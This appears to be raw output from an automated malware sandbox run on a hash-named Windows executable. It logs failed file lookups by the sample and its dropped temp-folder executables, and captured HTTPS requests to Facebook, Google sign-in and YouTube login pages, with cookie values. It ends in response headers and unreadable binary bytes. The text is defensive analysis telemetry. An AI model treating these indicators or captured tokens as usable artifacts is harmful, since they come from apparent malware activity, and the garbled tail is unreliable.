"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6BL1kL7.exe" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\FLTLIB.DLL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\MSVCP140.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\ucrtbase.DLL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll"5d:T87a,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe.Local\" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe.Config" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\58CBF150847528FA62AD3502E5016F444B6A6409D3202D94702DFBF4FCB761D9.EXE.LOCAL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\58CBF150847528FA62AD3502E5016F444B6A6409D3202D94702DFBF4FCB761D9.EXE.CONFIG" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe.Local\" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe.Config" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\GF3MD54.EXE.LOCAL" "gF3mD54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\GF3MD54.EXE.CONFIG" "oi9NR71.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\oi9NR71.exe.Local\" "oi9NR71.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "oi9NR71.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\oi9NR71.exe.Config" "oi9NR71.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"5e:T3638,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=fMtz17Xfy_wcEJ97u5UhgTTfHvmeZgAutcq7PCdfgxQLypr1jiKerKupW-SnAbSRyGsUYqqiXMfcqr9jg74NxL8OI1Tn9Sap9w9uS5okC3G9OuQs_e-ElvLOPj_7nmmKsJ0hHiUdjL4bVSh9UQ8dkwA9kqR_Zgz8hz7-L5g_HWMVxMyklgwh2tKCCXw4UhMlf7k-AXS8CbI3FESSdtq7o8RPTUkSBVhvs8SEvnzTCwm9H5V3SmVZLR-068zAPLTNhp6LrhhJHAmuj85eTexHRLeVyNLkxh1iWgHaEqYME3Cg-verc0svep1LAEDA-CD7jm8kx7NtCvE5ZDLYfila0gConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/yt_logo_rgb_light.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/edgium.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/firefox.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/dinosaur.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/chrome.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/opera.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=HUWXg9jXhCZczvHRa4cEvKjCi801lgcOya5pZdkzKPpJCCloIe4oV96uRt6UAHZvp_CIHAJilm8F0DhGRFbTQUNw18jJkdeFUXWX4ivyLQJO9Kg9TVwln3VGslbU91AcuOCumO3tbWqsUdM4hOSX0GUK3AjNnwL8dE_AI00RPGPZDTTTIP2fNfYmSYQV9avCrn1V6bGRy8ypwSPXgKa461raLT0T1kp3qLic8vNNIIwKzt_QaEZKm7wAfk-e0noPCEiI5nwMcZKN4_FKbWo1m-h4W4U2fan9JMLXo9Pp48lb0ugc4RIwO9hU-rIYj9QxPZsB2PNaSAYvBe02NDEVGw; hideBrowserUpgradeBox=true; YSC=iQ-ZII51-Vs; __Secure-ROLLOUT_TOKEN=CJyWv8mt0NnpaBDwr678uLqWAxjwr678uLqWAw%3D%3D; VISITOR_INFO1_LIVE=xd7gJ0F0h44; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgCw%3D%3D"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:71iz_oqJbP3IpuJSl7fOjfPff8p38A:fql39SJt03XRiBBvConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S1830923044:1787615042482560 HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:71iz_oqJbP3IpuJSl7fOjfPff8p38A:fql39SJt03XRiBBvConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:71iz_oqJbP3IpuJSl7fOjfPff8p38A:fql39SJt03XRiBBv"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:71iz_oqJbP3IpuJSl7fOjfPff8p38A:fql39SJt03XRiBBv"; in File: "SSL") Found requests in header "GET /rsrc.php/v5/yS/l/0,cross/CBWGISHZGLI8wmKvUcQXclxgo-3469oiGT9DWDYPz6DhfgQe914iiBfD-GevAmvU9KONMKn3YhINqU49pVNahkCkeiF2w9Hlit1.css HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yP/r/b_lEtPAUPMI.webp HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yH/r/uR_TIYVE0g0.eot HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/y1/r/ay1hV6OlegS.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yP/r/kUc6oHI0fJd.woff HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yf/r/ipwqPKyH2FY.ttf HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /images/branding/googlelogo/2x/googlelogo_color_74x24dp.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: ssl.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /css?family=YouTube+Sans:500 HTTP/1.1Accept: text/css, */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: fonts.googleapis.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /css?family=Roboto:400,500 HTTP/1.1Accept: text/css, */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: fonts.googleapis.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/roboto/v51/KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWub2bVmUiAw.woff HTTP/1.1Accept: */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.youtube.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")5f:T13307,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: fr=06OelTD9dKXrrwN0j..BqjNdB..AAA.0.0.BqjNdB.AWdc8hMrvXBgSQVWeqdzLKJeiiA; expires=Sun, 22-Nov-2026 23:44:01 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=NoneSet-Cookie: sb=QdeMaicNAiQKOsKumIKCTuP-; expires=Tue, 28-Sep-2027 23:44:01 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=Nonereporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7677748138967776009&cpp=C3&cv=1045915824&st=1787615041131", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/"report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7677748138967776009&cpp=C3&cv=1045915824&st=1787615041131"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}content-security-policy: default-src blob: 'self' https://*.fbsbx.com *.facebook.com *.fbcdn.net *.facebook.net *.whatsapp.com *.whatsapp.net;script-src *.facebook.com *.fbcdn.net *.facebook.net 127.0.0.1:* 'nonce-gy" "eRlqzr' blob: 'self' connect.facebook.net 'unsafe-eval' https://accounts.google.com https://*.google-analytics.com *.google.com;style-src *.fbcdn.net data: *.facebook.com 'unsafe-inline' https://accounts.google.com https://fonts.googleapis.com;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com *.instagram.com *.ipification.com https://accounts.google.com https://*.google-analytics.com;font-src data: *.facebook.com *.fbcdn.net *.fbsbx.com https://fonts.gstatic.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net connect.facebook.net blob: android-webview-video-poster: *.whatsapp.net *.fb.com *.oculuscdn.com *.tenor.co *.tenor.com *.giphy.com https://trustly.one/ https://*.trustly.one/ https://paywithmybank.com/ https://*.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://*.google-analytics.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com data: *.tenor.co *.tenor.com https://*.giphy.com;child-src data: blob: 'self' https://*.fbsbx.com *.facebook.com *.fbcdn.net;frame-src *.facebook.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net accounts.meta.com *.accounts.meta.com *.fbthirdpartypixel.com *.ipification.com https://trustly.one/ https://*.trustly.one/ https://paywithmybank.com/ https://*.paywithmybank.com/ https://www.googleadservices.com https://googleads.g.doubleclick.net https://www.google.com https://td.doubleclick.net *.google.com *.doubleclick.net;manifest-src data: blob: 'self' https://*.fbsbx.com *.facebook.com *.fbcdn.net;object-src data: blob: 'self' https://*.fbsbx.com *.facebook.com *.fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;X-Frame-Options: DENYdocument-policy: force-load-at-topdocument-policy: include-js-call-stacks-in-crash-reports" "permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self "https://www.fbsbx.com"), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(self), clipboard-write=(self), compute-pressure=(), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(self), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), private-state-token-issuance=(), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=(self);report-to="permissions_policy"cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0accept-ch-lifetime: 4838400accept-ch: viewport-width,dpr,Sec-CH-Prefers-Color-Scheme,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Modelorigin-agent-cluster: ?1Strict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: sCmTGqRrrdr17g8RJ7YQfVTUyjVD3P5sQCp+sHBmYDTU4/VwIHFny2b/Dd2CwcDgGRtRVujZJseR6AfZY+8lmw==Date: Mon, 24 Aug 2026 23:44:01 GMTX-FB-Connection-Quality: EXCELLENT; q=0.9, rtt=8, rtx=0, c=10, mss=1392, tbw=141, tp=-1, tpl=-1, uplat=117, ullat=0Alt-Svc: h3=":443"; ma=86400" "Server-Timing: slb_crtt;dur=8,slb_srtt;dur=-1,slb_req_start;dur=1787615041094010,slb_srv_hdr_rcvd;dur=117193,slb_cli_body_rcvd_first;dur=-1,slb_cli_body_rcvd_last;dur=-1,slb_conn_lat;dur=0,slb_ssl;dur=92,slb_rule_lat;dur=0Transfer-Encoding: chunkedConnection: keep-alive" "ff3��}�s��v��`��L��`��7h�lK�H1I�@$!a� 